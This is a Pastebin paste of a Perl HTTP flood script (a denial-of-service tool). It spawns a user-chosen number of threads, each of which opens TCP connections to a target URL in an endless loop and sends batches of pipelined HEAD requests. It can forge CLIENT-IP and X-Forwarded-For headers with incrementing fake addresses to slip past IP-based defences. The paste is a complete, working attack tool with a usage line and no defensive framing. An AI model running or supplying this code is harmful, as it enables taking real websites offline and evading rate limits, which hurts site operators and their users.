FNCxPro

Untitled

Nov 10th, 2014
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.88 KB | None | 0 0
  1. #!/usr/bin/perl
  2. package control;
  3.  
  4. my $ip;
  5.  
  6.  
  7. sub new {
  8. my ($class,$i) = @_;
  9. $ip = $i;
  10. my $self={};
  11. $ip = $i;
  12. bless $self, $class;
  13. return $self;
  14. }
  15.  
  16. sub mas {
  17. my ($self,$veces) = @_;
  18. $veces = 1 if($veces eq "");
  19. my ($a,$e,$o,$b) = split(/\./,$ip);
  20. for($as=0;$as<$veces;$as++) {
  21. $b++;
  22. if($b>=255) {$b=0;$o++;}
  23. if($o>=255) {$o=0;$e++;}
  24. if($e>=255) {$e=0;$a++;}
  25. die("No mas IPs!\n") if($a>=255);
  26. }
  27. $ip = join "",$a,".",$e,".",$o,".",$b;
  28. return $ip;
  29. }
  30.  
  31. 1;
  32.  
  33. package main;
  34.  
  35. use Socket;
  36. use IO::Socket::INET;
  37. use threads ('yield',
  38. 'exit' => 'threads_only',
  39. 'stringify');
  40. use threads::shared;
  41.  
  42. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
  43. my $method = "HEAD";
  44. my $hilo;
  45. my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
  46. my $randsemilla = "";
  47. for($i = 0; $i < 30; $i++) {
  48. $randsemilla .= $vals[int(rand($#vals))];
  49. }
  50. sub socker {
  51. my ($remote,$port) = @_;
  52. my ($iaddr, $paddr, $proto);
  53. $iaddr = inet_aton($remote) || return false;
  54. $paddr = sockaddr_in($port, $iaddr) || return false;
  55. $proto = getprotobyname('tcp');
  56. socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  57. connect(SOCK, $paddr) || return false;
  58. return SOCK;
  59. }
  60.  
  61.  
  62. sub sender {
  63. my ($max,$puerto,$host,$file) = @_;
  64. my $sock;
  65. while(true) {
  66. my $paquete = "";
  67. $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp');
  68. unless($sock) {
  69. print "\n[x] Unable to connect...\n\n";
  70. sleep(1);
  71. next;
  72. }
  73. for($i=0;$i<$porconexion;$i++) {
  74. $ipinicial = $sumador->mas();
  75. my $filepath = $file;
  76. $filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
  77. $paquete .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  78. }
  79. $paquete =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  80. print $sock $paquete;
  81. }
  82. }
  83.  
  84. sub sender2 {
  85. my ($puerto,$host,$paquete) = @_;
  86. my $sock;
  87. my $sumador :shared;
  88. while(true) {
  89. $sock = &socker($host,$puerto);
  90. unless($sock) {
  91. print "\n[x] Unable to connect...\n\n";
  92. next;
  93. }
  94. print $sock $paquete;
  95. }
  96. }
  97.  
  98. sub comenzar {
  99. $SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
  100. $url = $ARGV[0];
  101. print "URL: ".$url."\n";
  102. $max = $ARGV[1];
  103. $porconexion = $ARGV[2];
  104. $ipfake = $ARGV[3];
  105. if($porconexion < 1) {
  106. print "[-]Invalid arg 3...\n";
  107. exit;
  108. }
  109. if($url !~ /^http:\/\//) {
  110. die("[x] Invalid URL!\n");
  111. }
  112. $url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
  113. ($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
  114. $puerto = 80;
  115. ($host,$puerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
  116. $file =~ s/\s/ /g;
  117. print join "","[!] Launching ",$max," threads!\n";
  118. $file = "/".$file if($file !~ /^\//);
  119. print join "","Target: ",$host,":",$puerto,"\nPath: ",$file,"\n\n";
  120. # entonces toca un paquete unico, no tiene caso que se genere por cada hilo :)...
  121. if($ipfake eq "") {
  122. # envio repetitivo
  123. my $paquetebase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  124. $paquetesender = "";
  125. $paquetesender = $paquetebase x $porconexion;
  126. $paquetesender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  127. for($v=0;$v<$max;$v++) {
  128. $thr[$v] = threads->create('sender2', ($puerto,$host,$paquetesender));
  129. }
  130. } else {
  131. # envio con ip...
  132. $sumador = control->new($ipfake);
  133. for($v=0;$v<$max;$v++) {
  134. $thr[$v] = threads->create('sender', ($porconexion,$puerto,$host,$file));
  135. }
  136. }
  137. print "[-] Launched!\n";
  138. for($v=0;$v<$max;$v++) {
  139. if ($thr[$v]->is_running()) {
  140. sleep(3);
  141. $v--;
  142. }
  143. }
  144. print "Fin!\n";
  145. }
  146.  
  147.  
  148. if($#ARGV > 2) {
  149. comenzar();
  150. } else {
  151. die("Use: script.pl [url] [Connections] [Requests per connection] [Initial false IP (optional)]\n");
  152. }
Add Comment
Please, Sign In to add comment